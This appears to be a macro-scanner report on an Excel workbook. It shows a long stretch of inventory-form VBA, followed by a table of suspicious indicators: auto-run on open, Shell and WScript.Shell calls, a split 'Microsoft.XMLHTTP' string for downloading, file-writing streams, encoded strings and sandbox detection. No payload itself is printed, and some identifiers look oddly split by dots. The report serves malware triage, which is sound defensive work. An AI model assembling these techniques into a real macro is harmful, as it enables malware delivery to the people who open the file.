 cond = Trim(dat.ax!OriginalCondition)
 logic = Trim(dat.ax!fromlogic)
 subloca = Trim(dat.ax!fromSubLoca)
 newCOND = IIf(IsNull(dat.ax!NEWcondition), "", dat.ax!NEWcondition)
 Else
 .quantity(n) = Format(dat.ax!qty, "0.00")
 cond = Trim(dat.ax!Condition)
 logic = Trim(dat.ax!logic)
 subloca = Trim(dat.ax!subloca)
 newCOND = dat.ax!Condition
 End If
 End If
 If .Tag = "02050200" Then
 If serial Then
 .quantityBOX(n) = "1.00"
 Else
 .quantityBOX(n) = "0.00"
 End If
 Else
 .quantityBOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), cond, logic, subloca, IIf(IsNull(dat.ax!serialNumber), "POOL", Trim(dat.ax!serialNumber)), n), "0.00")
 End If
 .priceBOX(n) = Format(dat.ax!unitPRICE, "0.00")
 .NEWconditionBOX(n).Tag = newCOND
 Case "02040100"
 .quantity(n) = Format(QTYpo, "0.00")
 If newButtonEnabled = True Then
 newCOND = dat.ax!NEWcondition
 .quantityBOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "GENERAL", "GENERAL", serialPool, n), "0.00")
 .quantity2BOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "GENERAL", "GENERAL", serialPool, n), "0.00")
 Else
 newCOND = "01"
 doChanges = False
 If serialPool = "SERIAL" Then
 .quantityBOX(n) = "1.00"
 .quantity2BOX(n) = "1.00"
 Else
 .quantityBOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "unique", "unique", serialPool, n), "0.00")
 .quantity2BOX(n) = Format(su.mmaryQTY(Trim(dat.ax!StockNumber), "01", "unique", "unique", serialPool, n), "0.00")
 End If
 doChanges = True
 End If
 .priceBOX(n) = Format(dat.ax!unitPRICE, "0.00")
 .NEWconditionBOX(n).Tag = newCOND
 Load .repairBOX(n)
 .repairBOX(n) = Format(dat.ax!poItem)
 End Select
 .NEWconditionBOX(n) = .NEWconditionBOX(n).Tag
 Load .poItemBox(n)
 If .Tag = "02040100" Then
 .poItemBox(n) = dat.ax!poItem
 .poItemLabel = dat.ax!poItem
 If .invoiceNumberLabel.Visible Then
 .invoiceBOX(n) = .invoiceNumberLabel.Caption
 .invoiceLineBOX(n) = .invoiceLineLabel.Caption
 Else
 .invoiceBOX(n) = ""
 .invoiceLineBOX(n) = ""
 End If
 Else
 .poItemBox(n) = .poItemLabel
 End If
 Load .positionBox(n)
 Load .logicBOX(n)
 .logicBOX(n).tabindex = tabindex
 Load .sublocaBOX(n)
 .sublocaBOX(n).tabindex = tabindex + 1
 If summaryPOSITION = 0 Then
 If .newBUTTON.Enabled Then
 .logicBOX(n) = dat.ax!toLOGIC
 .sublocaBOX(n) = dat.ax!toSUBLOCA
 Else
 .logicBOX(n) = ""
 .logicBOX(n).BackColor = &HC0C0FF
 .logicBOX(n).TooltipText = "Select a Logic Wareshouse"
 .sublocaBOX(n) = ""
 .sublocaBOX(Index).BackColor = &HC0C0FF
 .sublocaBOX(n).TooltipText = "Select a Sub Location"
 End If
 Else
 .logicBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 11)
 .sublocaBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 12)
 .grid(2).Visible = False
 .logicBOX(n).TooltipText = getW.AREHOUSEdescription(.logicBOX(n))
 .sublocaBOX(n).TooltipText = getS.UBLOCATIONdescription(.sublocaBOX(n))
 End If
 .logicBOX(n).Tag = .logicBOX(n)
 .sublocaBOX(n).Tag = .sublocaBOX(n)
 Load .unitBOX(n)
 Load .unit2BOX(n)
 .unitBOX(n).Enabled = False
 .unit2BOX(n).Enabled = False
 If .newBUTTON.Enabled Then
 .unitBOX(n) = ""
 .unit2BOX(n) = ""
 Else
 .unitBOX(n) = dat.ax!unit
 .unit2BOX(n) = dat.ax!unit2
 End If
 If summaryPOSITION = 0 Then
 If .newBUTTON.Enabled Then
 newCOND = dat.ax!NEWcondition
 Else
 newCOND = dat.ax!Condition
 .NEWconditionBOX(n).TooltipText = dat.ax!conditionName
 End If
 .NEWconditionBOX(n).Tag = newCOND
 .NEWconditionBOX(n) = Format(newCOND, "00")
 Else
 .NEWconditionBOX(n).Tag = .SUMMARYlist.TextMatrix(summaryPOSITION, 13)
 .NEWconditionBOX(n) = Format(.NEWconditionBOX(n).Tag, "00")
 .NEWconditionBOX(n).TooltipText = .SUMMARYlist.TextMatrix(summaryPOSITION, 14)
 End If
 Select Case .Tag
 Case "02040200", "02040500"
 If Not .newBUTTON.Enabled Then
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 End If
 Case "02040400"
 Load .repairBOX(n)
 If summaryPOSITION = 0 Then
 If .newBUTTON.Enabled Then
 .repairBOX(n) = Format(dat.ax!repairCOST, "0.00")
 .Cell(5) = Trim(dat.ax!NewStockNumber)
 .Cell(5).Tag = .Cell(5)
 .unitLABEL(1) = getU.NIT(.Cell(5).Tag)
 .newDESCRIPTION = Trim(dat.ax!NewStockDescription)
 Else
 .repairBOX(n) = "0"
 End If
 Else
 If .newBUTTON.Enabled Then
 .repairBOX(n) = Format(dat.ax!repairCOST, "0.00")
 .Cell(5) = Trim(dat.ax!NewStockNumber)
 .Cell(5).Tag = .Cell(5)
 .unitLABEL(1) = getU.NIT(.Cell(5).Tag)
 .newDESCRIPTION = Trim(dat.ax!NewStockDescription)
 Else
 .repairBOX(n) = SUMMARYlist.TextMatrix(summaryPOSITION, 17)
 .Cell(5) = SUMMARYlist.TextMatrix(summaryPOSITION, 18)
 .Cell(5).Tag = .Cell(5)
 .unitLABEL(1) = getU.NIT(.Cell(5))
 .newDESCRIPTION = .SUMMARYlist.TextMatrix(summaryPOSITION, 19)
 End If
 End If
 Case "02040100"
 Case "02040700"
 .logicBOX(n).Enabled = False
 Case Else
 If Not .newBUTTON.Enabled Then
 .NEWconditionBOX(n).Enabled = True
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 .repairBOX(n).Enabled = True
 End If
 End Select
 If .newBUTTON.Enabled Then
 .quantityBOX(n).Enabled = False
 .quantity2BOX(n).Enabled = False
 .priceBOX(n).Enabled = False
 .NEWconditionBOX(n).Enabled = False
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 .repairBOX(n).Enabled = False
 Else
 If serialPool = "SERIAL" Then
 If frmWarehouse.Tag = "02040300" Or frmWarehouse.Tag = "02040200" Or frmWarehouse.Tag = "02050300" Then
 Else
 .quantityBOX(n).Enabled = False
 .quantity2BOX(n).Enabled = False
 End If
 Else
 Select Case frmWarehouse.Tag
 Case "02050200"
 .quantityBOX(n) = "1.00"
 .quantity2BOX(n) = "1.00"
 .quantityBOX(n).Enabled = True
 .quantity2BOX(n).Enabled = False
 Case Else
 .quantityBOX(n).Enabled = True
 .quantity2BOX(n).Enabled = False
 End Select
 End If
 .priceBOX(n).Enabled = True
 End If
 End With
ErrHandler:
 Select Case Err.Number
 Case 360, 340, 30
 Resume Next
 Case 0
 Case Else
 Resume Next
 End Select
 Err.Clear
End Sub



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | currentuser          | May detect Norman Sandbox               |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | MkDir                | May create a directory                  |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Print #              | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string | com_name             | ("com_name") & ""                       |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
+------------+----------------------+-----------------------------------------+